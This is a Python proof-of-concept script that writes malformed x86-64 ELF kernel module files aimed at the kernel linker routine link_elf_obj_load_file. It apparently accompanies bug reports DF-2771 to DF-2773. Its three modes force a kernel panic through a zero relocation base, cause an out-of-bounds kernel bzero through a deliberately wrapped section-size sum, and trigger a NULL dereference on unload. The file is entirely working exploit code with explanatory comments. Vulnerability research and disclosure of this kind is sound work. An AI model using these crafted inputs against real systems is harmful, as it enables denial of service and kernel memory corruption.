#!/usr/bin/env python3
# Craft minimal ET_REL x86-64 "KLD" modules that hit link_elf_obj_load_file
# paths with attacker-chosen section metadata.
#   argv[1] = out path
#   argv[2] = mode:
#     panic-rela     (DF-2772) RELA sh_info=0 -> panic("lost base for relatab")
#     mapsize-wrap   (DF-2771) two NOBITS sizes summing to 0x1010 mod 2**64
#                    -> undersized mapping -> wild bzero past its end
#     nrel-nullderef (DF-2773) no PROGBITS + one RELA -> "file has no
#                    contents" error path -> unload derefs relatab==NULL
import struct, sys

EHDR = struct.Struct('<16sHHIQQQIHHHHHH')
SHDR = struct.Struct('<IIQQQQIIQQ')  # name,type,flags,addr,offset,size,link,info,align,entsize

def shdr(name=0, typ=0, flags=0, addr=0, off=0, size=0, link=0, info=0, align=1, ent=0):
    return SHDR.pack(name, typ, flags, addr, off, size, link, info, align, ent)

def ehdr(shoff, shnum, shstrndx):
    ident = b'\x7fELF' + bytes([2, 1, 1, 0, 0]) + b'\0'*7
    return EHDR.pack(ident, 1, 62, 1, 0, 0, shoff, 0, 64, 0, 0, 64, shnum, shstrndx)

mode, out = sys.argv[2], sys.argv[1]

symtab = b'\0' * 24                    # one null symbol
strtab = b'\0'                         # just the leading NUL
shstrtab = b'\0'
text = b'\x90' * 16

# ---- decide the section list (index, type, payload-or-None, extra shdr args)
# fixed indices when .text present
if mode in ('panic-rela', 'mapsize-wrap'):
    S_SYMTAB, S_STRTAB, S_SHSTRT = 2, 3, 4
elif mode == 'nrel-nullderef':
    S_SYMTAB, S_STRTAB, S_SHSTRT = 1, 2, 3
else:
    sys.exit('bad mode')

secs = [shdr()]                                             # 0: NULL
if mode in ('panic-rela', 'mapsize-wrap'):
    secs.append(shdr(typ=1, off=EHDR.size, size=len(text), align=1))  # .text
secs.append(dict())  # placeholders patched below
secs.append(dict())
secs.append(dict())

payloads = []   # (payload bytes) in file order after ehdr
off = EHDR.size

def place(b):
    global off
    o = off; off += len(b); payloads.append(b); return o

if mode in ('panic-rela', 'mapsize-wrap'):
    text_off = place(text)
    secs[1] = shdr(typ=1, off=text_off, size=len(text), align=1)
sym_off  = place(symtab)
str_off  = place(strtab)
shstr_off= place(shstrtab)

if mode == 'panic-rela':
    # RELA whose sh_info=0 names the SHT_NULL section -> findbase()==0
    rela = b'\0' * 24                 # content irrelevant, panic precedes entries
    rela_off = place(rela)
    secs.append(shdr(typ=4, off=rela_off, size=len(rela),
                     link=S_SYMTAB, info=0, align=8, ent=24))
elif mode == 'mapsize-wrap':
    # NOBITS sizes sum to 0x1010 mod 2**64 -> mapsize wraps to 0x1010 ->
    # 2-page mapping -> bzero(mapbase+16, 2**64-0x1000) runs past its end
    secs.append(shdr(typ=8, off=0, size=0xFFFFFFFFFFFFF000, align=1))
    secs.append(shdr(typ=8, off=0, size=0x2000,               align=1))
elif mode == 'nrel-nullderef':
    # one RELA, zero PROGBITS/NOBITS sections
    rela = b'\0' * 24
    rela_off = place(rela)
    secs.append(shdr(typ=4, off=rela_off, size=len(rela),
                     link=S_SYMTAB, info=1, align=8, ent=24))

# fill symtab/strtab/shstrtab shdrs at their reserved slots
idx = 2 if mode in ('panic-rela', 'mapsize-wrap') else 1
secs[idx]   = shdr(typ=2, off=sym_off,  size=len(symtab),
                   link=S_STRTAB, info=1, align=8, ent=24)
secs[idx+1] = shdr(typ=3, off=str_off,  size=len(strtab),  align=1)
secs[idx+2] = shdr(typ=3, off=shstr_off,size=len(shstrtab),align=1)

shoff = off
shnum = len(secs)
img = bytearray(ehdr(shoff, shnum, S_SHSTRT))
for p in payloads:
    img += p
assert len(img) == shoff
for s in secs:
    img += s
assert len(img) == shoff + 64 * shnum
open(out, 'wb').write(bytes(img))
print(f'wrote {out}: {len(img)} bytes, mode={mode}, shnum={shnum}')
